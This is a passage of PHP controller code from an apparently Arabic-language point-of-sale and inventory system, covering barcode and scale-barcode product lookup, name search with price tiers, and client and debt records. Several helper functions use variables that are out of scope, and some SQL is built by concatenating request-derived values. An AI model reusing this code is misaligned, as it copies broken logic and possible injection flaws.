        $arr['parcodeType'] = "serialnumber";
        $arr['productserailid'] = $productData->productserailid;
        $arr['productQTY'] = 'undefined';
    }
    echo json_encode($arr);
}

function loadProductByParcodeAndDonExt($parcode, $billnameid, $sellOrRetFlag = 0) { //$sellOrRetFlag 0 is sell , 1 is ret
    global $myProductEx;
    global $myBillnameRecord;
    global $myBillsettingEx;
    global $BillpropertyDAO;
    global $sizeColorStoreDetailEX;
    global $storeDetailExt;
    global $storeReportExt;
    global $Programsettingdata;
    global $storeId;

    $recievedParcode = $parcode;
    ##check if parcode scale is used
    $WeightPricePart;
    $posType;
    $useParcodeBalance = 0;
    //get prop id
    $Billproperty = $BillpropertyDAO->queryByBillpropertyname('تفعيل ميزان الباركود');
    if (count($Billproperty) > 0) {
        $Billproperty = $Billproperty[0];
        //get setting
        $billsettingsData = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameid, $Billproperty->billpropertyid);
        $billsettingsData = $billsettingsData[0];
        if ($billsettingsData->billsettingsvalue == 0) {
            //load parcode scale data
            $myBillname = $myBillnameRecord->load($billnameid);
            //$myBillname->checkDigit == 0 means it is random , i have to remove last char only
            if (
                    strpos($parcode, $myBillname->posFlag) === 0 &&
                    ($myBillname->checkDigit == 0 || ($myBillname->checkDigit != 0 && $myBillname->checkDigit == substr($parcode, strlen($myBillname->checkDigit) * -1)))
            ) {
                //condition 1 ---- parcode start with the posFlag  and end with checkDigit
                $requiredParcodeLength = strlen($myBillname->posFlag) + $myBillname->posCode + $myBillname->posWeightPrice + strlen($myBillname->checkDigit);
                $givenParcodeLen = strlen($parcode);
                if ($requiredParcodeLength == $givenParcodeLen) {
                    //condition 2 ---- required length is ok
                    /* -- now start chopping parcode ---- */
                    //-remove posFlag
                    $parcode = substr($parcode, strlen($myBillname->posFlag));
                    //-remove checkDigit
                    $formattedParcode = substr($parcode, 0, (strlen($myBillname->checkDigit) * -1));
                    //get product parcode
                    $parcode = substr($formattedParcode, 0, $myBillname->posCode);
                    //get product weigt or price part
                    $WeightPricePart = (float) substr($formattedParcode, ($myBillname->posWeightPrice * -1));
                    $posType = $myBillname->posType;
                    if ($posType == 0) { //it is weight
                        $WeightPricePart = $WeightPricePart / 1000;
                    } elseif ($posType == 1) { //it is price
                        $WeightPricePart = $WeightPricePart / 100;
                    }
                    $useParcodeBalance = 1;
                }
            }
        }
    }
    $arr = array();
    $categories;

    $arr = getProductFromProductSerialTableUsingParcode($parcode);
    if ($arr == -1) {


        if ($Programsettingdata->searchBarcodeInBill == 0) {
            $arr = getProductFromProductTableUsingParcode($parcode);
            if ($arr == -1) {
                $arr = getProductFromSizeColorStoreDetailTableUsingParcode($parcode);
                if ($arr == -1) {
                    $arr = getProductFromProductUnitTableUsingParcode($recievedParcode);
                    if ($arr == -1) {
                        $arr = getProductFromProductTableUsingParcodeExcel($recievedParcode);
                        if ($arr == -1) {
                            //means no data
                            $arr['id'] = 0;
                            $arr['text'] = '';
                            $arr['productQty'] = 'undefined';
                        }
                    }
                }
            }
        } elseif ($Programsettingdata->searchBarcodeInBill == 1) {
            $arr = getProductFromSizeColorStoreDetailTableUsingParcode($parcode);
            if ($arr == -1) {
                $arr = getProductFromProductTableUsingParcode($parcode);
                if ($arr == -1) {
                    $arr = getProductFromProductUnitTableUsingParcode($recievedParcode);
                    if ($arr == -1) {
                        $arr = getProductFromProductTableUsingParcodeExcel($recievedParcode);
                        if ($arr == -1) {
                            //means no data
                            $arr['id'] = 0;
                            $arr['text'] = '';
                            $arr['productQty'] = 'undefined';
                        }
                    }
                }
            }
        }
    }
    //store quantity
    if (!empty($arr['id']) && !empty($storeId)) {
        $qData = getProoductPrice($arr['id'], $storeId);
        $arr['productQty'] = $qData[1];
    }
    //isservice
    $arr['isService'] = R::getCell('select isService from product where productId=' . $arr['id']);
    //if inventory
    $inventory = (int) $_GET['inventory'];
    $storeId = (int) $_GET['store'];
    $productId = $arr['id'];
    if ($inventory == 1 && $storeId > 0 && ($productId > 0 || strpos($productId, "hasSizeColor") !== false)) {
        //get detailid
        $queryString = ' WHERE';
        $queryStringSizeColor = '';
        $queryString .= ' if(sizecolorstoredetail.id is null , storedetail.storeid=' . $storeId . ' ,sizecolorstoredetail.storeid=' . $storeId . ') AND';
        if (strpos($productId, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
            $productIdTemp = $productId = $productIdComplex[0];
            $sizeId = $productIdComplex[1];
            $colorId = $productIdComplex[2];
            $sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productIdTemp, $storeId, $sizeId, $colorId);
            $queryString .= ' sizecolorstoredetail.id = ' . (int) $sizeColorStoreDetailId . ' AND';
            $queryStringSizeColor = ' AND sizeid = ' . $sizeId . ' And colorid = ' . $colorId . ' ';
        } else {

            //get product by id
            $queryString .= ' storedetail.productid = ' . $productId . ' AND';
        }

        //explode string on space character to remove last AND occurence
        $arr_QS = explode(' ', $queryString);
        if (isset($arr_QS) && count($arr_QS) > 0) {
            $lastWord = end($arr_QS);
            if ($lastWord == 'AND') { //remove it
                array_pop($arr_QS);
                //form the string again
                $queryString = implode(' ', $arr_QS);
            } else if ($lastWord == 'WHERE') { //remove it
                array_pop($arr_QS);
                $queryString = ' ';
            }
            //print("<br>".$queryString."<br>");
        }

        $storeDetails = $storeDetailExt->queryProductsInInventoryExt2NoService($queryString);
        if (count($storeDetails) > 0) {
            $storeDetails = $storeDetails[0];
            $arr['storedetailid'] = $storeDetails->storedetailid;
            $arr['sizecolorstoredetailid'] = $storeDetails->sizecolorstoredetailid;
            $arr['oldQty'] = $storeDetails->productquantity;
        }

        //get last inventory date
        $lastDate = $storeReportExt->getLastInventoryDateByProductIdAndStoreId($productId, $storeId, $queryStringSizeColor);
        $arr['lastInventoryDate'] = $lastDate;
        //////////تلوين المنتجات اللي اتعملها إعادة جرد في خلال 10 أيام سابقة.
        $today = date("Y-m-d");
        $date = date("Y-m-d", strtotime('-10 day' . $today));
        $storeReportData = $storeReportExt->getlatestInventoryProductsWithStoreId($productId, $storeId, $date, $today, $queryStringSizeColor);
        $arr['inv_status'] = 0;
        if (count($storeReportData) > 0) {
            $arr['inv_status'] = 1;
        }
    }
    echo json_encode($arr);
}

function getProductFromProductSerialTableUsingParcode($parcode) {
    global $myProductEx;
    global $Programsettingdata;
    // select all data from product tbl
    if ($parcode[0] == 'i' && $Programsettingdata->usedParcode == 1) { //usedParcode == 1 it is id coming after i
        $productData = array();
    } else {
        if ($sellOrRetFlag == 0) { //sell get available parcode only "quantity > 0"
            $productData = $myProductEx->queryWithSerialnumberAndAvailable($parcode);
        } else { //sell get available parcode  quantity  does not matter
            $productData = $myProductEx->queryWithSerialnumberEvenIfNotAvailable($parcode);
        }
    }

    $arr = -1;
    if (count($productData) > 0) {
        $arr = array();
        if ($productData->sizeid > 0 && $productData->colorid > 0) {
            $arr['id'] = "hasSizeColor$productData->productId-$productData->sizeid-$productData->colorid";
        } else {
            $arr['id'] = $productData->productId;
        }
        //names of product's parents
        $parentId = $productData->productCatId;
        $pathArr = fetch_recursive($parentId, $categories);
        //
        $arr['text'] = $productData->productName . '/' . $pathArr;
        if ($productData->sizeName != '') {
            $arr['text'] .= "/" . $productData->sizeName;
        }
        if ($productData->colorName != '') {
            $arr['text'] .= "/" . $productData->colorName;
        }

        $arr['parcodeType'] = "serialnumber";
        $arr['productserailid'] = $productData->productserailid;

        $arr['chassisNo'] = $productData->chassisNo;
        $arr['motorNo'] = $productData->motorNo;
        $arr['theColor'] = $productData->theColor;

        $arr['productQty'] = $productData->don;

        $arr['useParcodeBalance'] = $useParcodeBalance;
        $arr['WeightPricePart'] = $WeightPricePart;
        $arr['posType'] = $posType;

        $arr['selldiscountpercent'] = $productData->selldiscountpercent;
        $arr['sellpercenttype'] = $productData->sellpercenttype;
    }
    return $arr;
}

function getProductFromProductTableUsingParcode($parcode) {
    global $myProductEx;
    global $Programsettingdata;

    if ($parcode[0] == 'i' && $Programsettingdata->usedParcode == 1) { //usedParcode == 1 it is id coming after i
        $parcode = str_replace("i", "", $parcode);
        $productData = $myProductEx->loadProduct((int) $parcode);
    } else {
        $productData = $myProductEx->queryWithParcode($parcode);
    }

    $arr = -1;
    if (count($productData) > 0) {
        $arr = array();

        if ($productData->hasSizeAndColor == 0) {
            $arr['id'] = $productData->productId;
            //names of product's parents
            $parentId = $productData->productCatId;
            $pathArr = fetch_recursive($parentId, $categories);
            //
            $arr['text'] = $productData->productName . '/' . $pathArr;
            $arr['productQty'] = 'undefined';
        } else {
            //means no data
            $arr['id'] = 0;
            $arr['text'] = '';
            $arr['productQty'] = 'undefined';
        }



        $arr['parcodeType'] = "parcode";
        $arr['productserailid'] = 0;

        $arr['useParcodeBalance'] = $useParcodeBalance;
        $arr['WeightPricePart'] = $WeightPricePart;
        $arr['posType'] = $posType;

        $arr['selldiscountpercent'] = $productData->selldiscountpercent;
        $arr['sellpercenttype'] = $productData->sellpercenttype;
    }
    return $arr;
}

function getProductFromSizeColorStoreDetailTableUsingParcode($parcode) {
    global $sizeColorStoreDetailEX;
    global $Programsettingdata;

    $sizeColor = $sizeColorStoreDetailEX->queryByParcodeEX($parcode);

    $arr = -1;
    if ($sizeColor->id > 0) {
        $arr = array();

        $arr['id'] = "hasSizeColor" . $sizeColor->productid . "-" . $sizeColor->sizeid . "-" . $sizeColor->colorid;
        $arr['text'] = $sizeColor->productName . "/" . $sizeColor->productCatName . "/" . $sizeColor->sizeName . "/" . $sizeColor->colorName;
        $arr['productQty'] = $sizeColor->quantity;



        $arr['parcodeType'] = "parcode";
        $arr['productserailid'] = 0;

        $arr['useParcodeBalance'] = $useParcodeBalance;
        $arr['WeightPricePart'] = $WeightPricePart;
        $arr['posType'] = $posType;

        $arr['selldiscountpercent'] = $sizeColor->selldiscountpercent;
        $arr['sellpercenttype'] = $sizeColor->sellpercenttype;
    }
    return $arr;
}

function getProductFromProductUnitTableUsingParcode($recievedParcode) {
    global $myProductEx;
    global $Programsettingdata;

    $productData = $myProductEx->queryWithProUnitParcode($recievedParcode);

    $arr = -1;
    if (count($productData) > 0) {
        $arr = array();

        $arr['id'] = $productData->productId;
        //names of product's parents
        $parentId = $productData->productCatId;
        $pathArr = fetch_recursive($parentId, $categories);
        //
        $arr['text'] = $productData->productName . '/' . $pathArr;
        $arr['isProUnitParcode'] = 1; //parcode is ProUnitParcode
        $arr['productunitid'] = $productData->productunitid;
        $arr['unitid'] = $productData->unitid;
        $arr['proUnitSellAllPrice'] = $productData->proUnitSellAllPrice;
        $arr['proUnitSellHalfPrice'] = $productData->proUnitSellHalfPrice;
        $arr['proUnitSellUnitPrice'] = $productData->proUnitSellUnitPrice;



        $arr['parcodeType'] = "parcode";
        $arr['productserailid'] = 0;

        $arr['useParcodeBalance'] = $useParcodeBalance;
        $arr['WeightPricePart'] = $WeightPricePart;
        $arr['posType'] = $posType;

        $arr['selldiscountpercent'] = $productData->selldiscountpercent;
        $arr['sellpercenttype'] = $productData->sellpercenttype;
    }
    return $arr;
}

function getProductFromProductTableUsingParcodeExcel($recievedParcode) {
    global $myProductEx;
    global $Programsettingdata;

    $productData = $myProductEx->queryWithParcodeExcel($recievedParcode);

    $arr = -1;
    if (count($productData) > 0) {
        $arr = array();

        $arr['id'] = $productData->productId;
        //names of product's parents
        $parentId = $productData->productCatId;
        $pathArr = fetch_recursive($parentId, $categories);
        //
        $arr['text'] = $productData->productName . '/' . $pathArr;



        $arr['parcodeType'] = "parcode";
        $arr['productserailid'] = 0;

        $arr['useParcodeBalance'] = $useParcodeBalance;
        $arr['WeightPricePart'] = $WeightPricePart;
        $arr['posType'] = $posType;

        $arr['selldiscountpercent'] = $productData->selldiscountpercent;
        $arr['sellpercenttype'] = $productData->sellpercenttype;
    }
    return $arr;
}

function loadProductById($productId) {
    global $myProductRecord;

    $arr = array();

    // select all data from product tbl
    $productData = $myProductRecord->load($productId);

    $arr['id'] = $productData->productId;
    $arr['text'] = $productData->productName;

    echo json_encode($arr);
}

function loadProductById2($productid) {
    //to use the variable out side the funcion
    global $myProductEx;

    // load Product by id tbl
    $productData = $myProductEx->loadByProductId($productid);

    return $productData;
}

function addClient() {
    global $myClient;
    global $myClientRecord;

    $clientName = $_POST['clientname'];
    $clientDebt = $_POST['clientdebt'];
    $clientAddress = $_POST['clientaddress'];
    $clientPhone = $_POST['clientphone'];
    $clientMobile = $_POST['clientmobile'];
    $clientDetails = $_POST['clientdetails'];

    $myClient->clientaddress = $clientAddress;
    $myClient->clientdate = date("Y-m-d");
    $myClient->clientdebt = $clientDebt;
    $myClient->clientdetails = $clientDetails;
    $myClient->clientmobile = $clientMobile;
    $myClient->clientname = $clientName;
    $myClient->clientphone = $clientPhone;
    $myClient->conditions = 0;
    $myClient->userid = $_SESSION['userid'];

    $clientId = $myClientRecord->insert($myClient);

    insertClientdebtchange($clientId, 0, $clientDebt, 0, "اضافة عميل", $clientId, $clientDebt, "clientController.php", "اضافة عميل");
}

function loadClient() {
    global $myClientRecord;

    // select all data from client tbl
    $clientData = $myClientRecord->queryByCondition(0);
    return $clientData;
}

// insert data into Clientdebtchange tbl
function insertClientdebtchange($clientid, $clientdebtchangebefore, $clientdebtchangeamount, $clientdebtchangetype, $processname, $clientdebtchangemodelid, $clientdebtchangeafter, $tablename, $comment) {
    global $myClientdebtchange;
    global $myClientdebtchangeRecord;

    $myClientdebtchange->clientdebtchangeafter = $clientdebtchangeafter;
    $myClientdebtchange->clientdebtchangeamount = $clientdebtchangeamount;
    $myClientdebtchange->clientdebtchangebefore = $clientdebtchangebefore;
    $myClientdebtchange->clientdebtchangedate = date("Y-m-d");
    $myClientdebtchange->clientdebtchangemodelid = $clientdebtchangemodelid;
    $myClientdebtchange->clientdebtchangetype = $clientdebtchangetype;
    $myClientdebtchange->clientid = $clientid;
    $myClientdebtchange->comment = $comment;
    $myClientdebtchange->processname = $processname;
    $myClientdebtchange->tablename = $tablename;
    $myClientdebtchange->userid = $_SESSION['userid'];

    $myClientdebtchangeRecord->insert($myClientdebtchange);
}

// select from Product tbl
function loadProductWithByName() {
    global $myProductEx;
    global $Programsettingdata;

    $categories;
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $client = (int) $_GET['suppplier'];
    $limit = $Programsettingdata->searchlimit; //(int)$_GET['page_limit'];
    if (empty($limit)) {
        $limit = 30;
    }
    $storeid = $_REQUEST["storeid"];
    $hiddenpricetype = $_REQUEST["hiddenpricetype"];
    $controlNameSearch = (int) $_REQUEST["searchWithCatAndProductNameOnly"]; //0 search catname,proname only //1 search sizename,colorname too
    /*
      //search in xml file for products
      if (file_exists('productXML.xml')) {
      $xml = simplexml_load_file('productXML.xml');
      $product = $xml->product;
      for($i=0; $i <= count($xml); $i++)
      {
      $productPath = $product[$i]->path;
      if(strpos($productPath, $name) !== false)
      {
      //send product id and product name as something that select2 expects.
      $row_array['id'] = (string)$product[$i]->id;
      $row_array['text'] = (string)$product[$i]->path;

      array_push($return_arr,$row_array);
      }
      }

      }
     */

    /*   <option value="0">جملة</option>
      <option value="1">تجزئة</option>
      <option value="2">نصف جملة</option>
     */
    $queryString = '';
    if ($client && $Programsettingdata->addclienttoproduct == 1)
        $queryString .= ' and clientid in(0,' . $client . ')';

    if ($storeid == 0)
        $productsData = $myProductEx->queryByNameExtWithoutStoreWithoutLimit($name, $queryString, " limit $limit", $controlNameSearch);
    else
        $productsData = $myProductEx->queryByNameExtWithoutLimit2($name, $storeid, $queryString, " limit $limit", $controlNameSearch);
    if (count($productsData) > 0) {
        if ($client > 1) {
            $productStatistics = getSellStatistics($client, $productsData);
            $productNetStat = getNetSellStatistics($client, $productsData);
        }
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            //send product id and product name as something that select2 expects.
            if (!is_null($pro->sizecolorstoredetailid) && $pro->sizecolorstoredetailid > 0) { //has size and color
                $row_array['id'] = "hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid;
            } else { //without size and color
                $row_array['id'] = $pro->productId;
            }
            //$row_array['sizecolorstoredetailid'] = $pro->sizecolorstoredetailid;
            $row_array['text'] = $pro->productName . '/' . $pathArr;
            if (!is_null($pro->sizeName) && !empty($pro->sizeName)) {
                $row_array['text'] .= '/' . $pro->sizeName;
            }
            if (!is_null($pro->colorName) && !empty($pro->colorName)) {
                $row_array['text'] .= '/' . $pro->colorName;
            }

            $row_array['sizeid'] = $pro->sizeid;
            $row_array['colorid'] = $pro->colorid;

            $row_array['productquantity'] = $pro->productquantity;
            $row_array['weightedDiscount'] = $pro->weightedDiscount;

            $proPrice = 0;
            switch ($hiddenpricetype) {
                case 0: //جملة
                    $price = 'productSellAllPrice';
                    $proPrice = $pro->productSellAllPrice;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
                case 1: //تجزئة
                    $price = 'productSellUnitPrice';
                    $proPrice = $pro->productSellUnitPrice;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
                case 2: //نصف جملة
                    $price = 'productSellHalfPrice';
                    $proPrice = $pro->productSellHalfPrice;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
                case 4:
                    $price = 'price4';
                    $proPrice = $pro->price4;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
                case 5:
                    $price = 'price5';
                    $proPrice = $pro->price5;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
                case 6:
                    $price = 'price6';
                    $proPrice = $pro->price6;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
                case 7:
                    $price = 'price7';
                    $proPrice = $pro->price7;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
                case 8:
                    $price = 'price8';
                    $proPrice = $pro->price8;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
                    case 9:
                        $price = 'price9';
                        $proPrice = $pro->price9;
                        if ($Programsettingdata->useListPrice == 1) {
                            $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                        }
                        break;
                    case 10:
                        $price = 'price10';
                        $proPrice = $pro->price10;
                        if ($Programsettingdata->useListPrice == 1) {
                            $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                        }
                        break;
                    case 11:
                        $price = 'price11';
                        $proPrice = $pro->price11;
                        if ($Programsettingdata->useListPrice == 1) {
                            $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                        }
                        break;
                    case 12:
                        $price = 'price12';
                        $proPrice = $pro->price12;
                        if ($Programsettingdata->useListPrice == 1) {
                            $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                        }
                        break;
                    case 13:
                        $price = 'price13';
                        $proPrice = $pro->price13;
                        if ($Programsettingdata->useListPrice == 1) {
                            $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                        }
                        break;
            }


            $row_array['price'] = $proPrice;

            $row_array['sellStat'] = $productStatistics[$row_array['id']];
            $row_array['sellNetStat'] = (float) ($productNetStat[$row_array['id']]);
            if ($Programsettingdata->showBuyPriceAtProductddl == 1)
                $row_array['lastbuyprice'] = $pro->lastbuyprice;
            $row_array['buyprice'] = $pro->lastbuyprice;
            $row_array['isService'] = $pro->isService;
            $row_array['selldiscountpercent'] = $pro->selldiscountpercent;
            $row_array['sellpercenttype'] = $pro->sellpercenttype;

            array_push($return_arr, $row_array);
        }
    }


    //echo $return_arr;
    echo json_encode($return_arr);
}

function loadProductWithByName2() {
    global $myProductEx;
    global $myBillsettingEx;

    $categories;
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);
    $storeid = $_REQUEST["storeid"];
    $catid = (int) $_REQUEST["catid"];
    $hiddenpricetype = $_REQUEST["hiddenpricetype"];
    $newProductOption = (int) $_REQUEST["newProductOption"];
    /*
      //search in xml file for products
      if (file_exists('productXML.xml')) {
      $xml = simplexml_load_file('productXML.xml');
      $product = $xml->product;
      for($i=0; $i <= count($xml); $i++)
      {
      $productPath = $product[$i]->path;
      if(strpos($productPath, $name) !== false)
      {
      //send product id and product name as something that select2 expects.
      $row_array['id'] = (string)$product[$i]->id;
      $row_array['text'] = (string)$product[$i]->path;

      array_push($return_arr,$row_array);
      }
      }

      }
     */

    /*   <option value="0">جملة</option>
      <option value="1">تجزئة</option>
      <option value="2">نصف جملة</option>
     */

    $property = $myBillsettingEx->queryByBillidAndBillpropertyid(3, 101); //0 search catname,proname only //1 search sizename,colorname too
    $controlNameSearch = (int) $property[0]->billsettingsvalue;
    $queryString = '';
    if ($catid > 0 || $catid == -1) { //as in case of -1 i want stop getting products
        $queryString .= " and product.productCatId= $catid ";
    }
    $productsData = $myProductEx->queryByNameExtWithoutLimit($name, $queryString, $controlNameSearch);
    if ($newProductOption == 1) {
        $row_array['id'] = '-1';
        $row_array['text'] .= 'منتج جديد';
        array_push($return_arr, $row_array);
    }
    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            if (!is_null($pro->sizecolorstoredetailid) && $pro->sizecolorstoredetailid > 0) { //has size and color
                $row_array['id'] = "hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid;
            } else { //without size and color
                $row_array['id'] = $pro->productId;
            }
            $row_array['text'] = $pro->productName . '/' . $pathArr;


            if (!is_null($pro->sizeName) && !empty($pro->sizeName)) {
                $row_array['text'] .= '/' . $pro->sizeName;
            }
            if (!is_null($pro->colorName) && !empty($pro->colorName)) {
                $row_array['text'] .= '/' . $pro->colorName;
            }

            $row_array['productquantity'] = $pro->productquantity;


            //جملة
            if ($hiddenpricetype == 0) {

                $price = 'productSellAllPrice';
                $row_array['price'] = $pro->productSellAllPrice;
            }
            //تجزئة
            elseif ($hiddenpricetype == 1) {
                $price = 'productSellUnitPrice';
                $row_array['price'] = $pro->productSellUnitPrice;
            }
            //نصف جملة
            elseif ($hiddenpricetype == 2) {
                $price = 'productSellHalfPrice';
                $row_array['price'] = $pro->productSellHalfPrice;
            }

            $row_array['selldiscountpercent'] = $pro->selldiscountpercent;
            $row_array['sellpercenttype'] = $pro->sellpercenttype;

            array_push($return_arr, $row_array);
        }
    }

    //echo $return_arr;
    echo json_encode($return_arr);
}

function loadProductWithByName2deleted() {
    global $myProductEx;

    $categories;
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);
    $storeid = $_REQUEST["storeid"];
    $hiddenpricetype = $_REQUEST["hiddenpricetype"];


    /*   <option value="0">جملة</option>
      <option value="1">تجزئة</option>
      <option value="2">نصف جملة</option>
     */



    $productsData = $myProductEx->queryByNameExtWithoutLimitdeleted($name);
    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            $row_array['id'] = $pro->productId;
            $row_array['text'] = $pro->productName . '/' . $pathArr;


            $row_array['productquantity'] = $pro->productquantity;


            //جملة
            if ($hiddenpricetype == 0) {

                $price = 'productSellAllPrice';
                $row_array['price'] = $pro->productSellAllPrice;
            }
            //تجزئة
            elseif ($hiddenpricetype == 1) {
                $price = 'productSellUnitPrice';
                $row_array['price'] = $pro->productSellUnitPrice;
            }
            //نصف جملة
            elseif ($hiddenpricetype == 2) {
                $price = 'productSellHalfPrice';
                $row_array['price'] = $pro->productSellHalfPrice;
            }

            $row_array['selldiscountpercent'] = $pro->selldiscountpercent;
            $row_array['sellpercenttype'] = $pro->sellpercenttype;

            array_push($return_arr, $row_array);
        }
    }

    //echo $return_arr;
    echo json_encode($return_arr);
}

function getFinalProducts() {
    global $myProductEx;

    $categories;
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);
    $storeid = $_REQUEST["storeid"];
    $hiddenpricetype = $_REQUEST["hiddenpricetype"];

    $productsData = $myProductEx->GetFinalProduct($name);
    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            $row_array['id'] = $pro->productId;
            $row_array['text'] = $pro->productName . '/' . $pathArr;


            $row_array['productquantity'] = $pro->productquantity;


            //جملة
            if ($hiddenpricetype == 0) {

                $price = 'productSellAllPrice';
                $row_array['price'] = $pro->productSellAllPrice;
            }
            //تجزئة
            elseif ($hiddenpricetype == 1) {
                $price = 'productSellUnitPrice';
                $row_array['price'] = $pro->productSellUnitPrice;
            }
            //نصف جملة
            elseif ($hiddenpricetype == 2) {
                $price = 'productSellHalfPrice';
                $row_array['price'] = $pro->productSellHalfPrice;
            }


            array_push($return_arr, $row_array);
        }
    }

    //echo $return_arr;
    echo json_encode($return_arr);
}

function GetRawMaterials() {
    global $myProductEx;
    global $simplesettingDao;
    global $myBillsettingEx;
    global $Programsettingdata;

    $categories;
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $limit = $Programsettingdata->searchlimit; //intval($_GET['page_limit']);
    if (empty($limit)) {
        $limit = 30;
    }
    $storeid = (isset($_REQUEST["storeid"]) && !empty($_REQUEST["storeid"])) ? $_REQUEST["storeid"] : 1;
    $hiddenpricetype = $_REQUEST["hiddenpricetype"];
    $notRawMaterialsOnly = (int) $_REQUEST["notRawMaterialsOnly"];
    $simplesetting = $simplesettingDao->load(1);
    $url = "productController.php?do=addCollectiveProduct"; //اضافة منتج تجميعي
    if ($notRawMaterialsOnly == 1) {
        $queryString = "";
    } elseif ($notRawMaterialsOnly == 0) {
        $queryString = " AND product.type = 1 ";
    }

    if ($url) {
        $queryString = "";
    } elseif ($simplesetting->productsproductionequation == 1) {
        $queryString = "";
    } elseif ($simplesetting->productsproductionequation == 0) {
        $queryString = " AND product.type = 1 ";
    }


    ###################
    $property = $myBillsettingEx->queryByBillidAndBillpropertyid(3, 101); //0 search catname,proname only //1 search sizename,colorname too
    $controlNameSearch = (int) $property[0]->billsettingsvalue;
    $productsData = $myProductEx->queryByNameExtWithoutLimit2($name, $storeid, $queryString, " limit $limit", $controlNameSearch);
    //$productsData = $myProductEx->GetRawMaterials($name, $queryString);
    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            if (!is_null($pro->sizecolorstoredetailid) && $pro->sizecolorstoredetailid > 0) { //has size and color
                $row_array['id'] = "hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid;
            } else { //without size and color
                $row_array['id'] = $pro->productId;
            }
            //$row_array['sizecolorstoredetailid'] = $pro->sizecolorstoredetailid;
            $row_array['text'] = $pro->productName . '/' . $pathArr;
            if (!is_null($pro->sizeName) && !empty($pro->sizeName)) {
                $row_array['text'] .= '/' . $pro->sizeName;
            }
            if (!is_null($pro->colorName) && !empty($pro->colorName)) {
                $row_array['text'] .= '/' . $pro->colorName;
            }

            $row_array['sizeid'] = $pro->sizeid;
            $row_array['colorid'] = $pro->colorid;

            $row_array['productquantity'] = $pro->productquantity;
            $row_array['weightedDiscount'] = $pro->weightedDiscount;
            $row_array['productBuyPrice'] = $pro->productBuyPrice;


            //جملة
            if ($hiddenpricetype == 0) {

                $price = 'productSellAllPrice';
                $row_array['price'] = $pro->productSellAllPrice;
            }
            //تجزئة
            elseif ($hiddenpricetype == 1) {
                $price = 'productSellUnitPrice';
                $row_array['price'] = $pro->productSellUnitPrice;
            }
            //نصف جملة
            elseif ($hiddenpricetype == 2) {
                $price = 'productSellHalfPrice';
                $row_array['price'] = $pro->productSellHalfPrice;
            }

            $row_array['selldiscountpercent'] = $pro->selldiscountpercent;
            $row_array['sellpercenttype'] = $pro->sellpercenttype;

            array_push($return_arr, $row_array);
        }
    }

    //echo $return_arr;
    echo json_encode($return_arr);
}

function getFinalProductsWithProductionRate() {
    global $myProductEx;

    $categories;
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);
    $storeid = $_REQUEST["storeid"];
    $hiddenpricetype = $_REQUEST["hiddenpricetype"];

    $productsData = $myProductEx->getFinalProductsWithProductionRate($name);

    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            $row_array['id'] = $pro->productId;
            $row_array['text'] = $pro->productName . '/' . $pathArr;


            $row_array['productquantity'] = $pro->productquantity;


            //جملة
            if ($hiddenpricetype == 0) {

                $price = 'productSellAllPrice';
                $row_array['price'] = $pro->productSellAllPrice;
            }
            //تجزئة
            elseif ($hiddenpricetype == 1) {
                $price = 'productSellUnitPrice';
                $row_array['price'] = $pro->productSellUnitPrice;
            }
            //نصف جملة
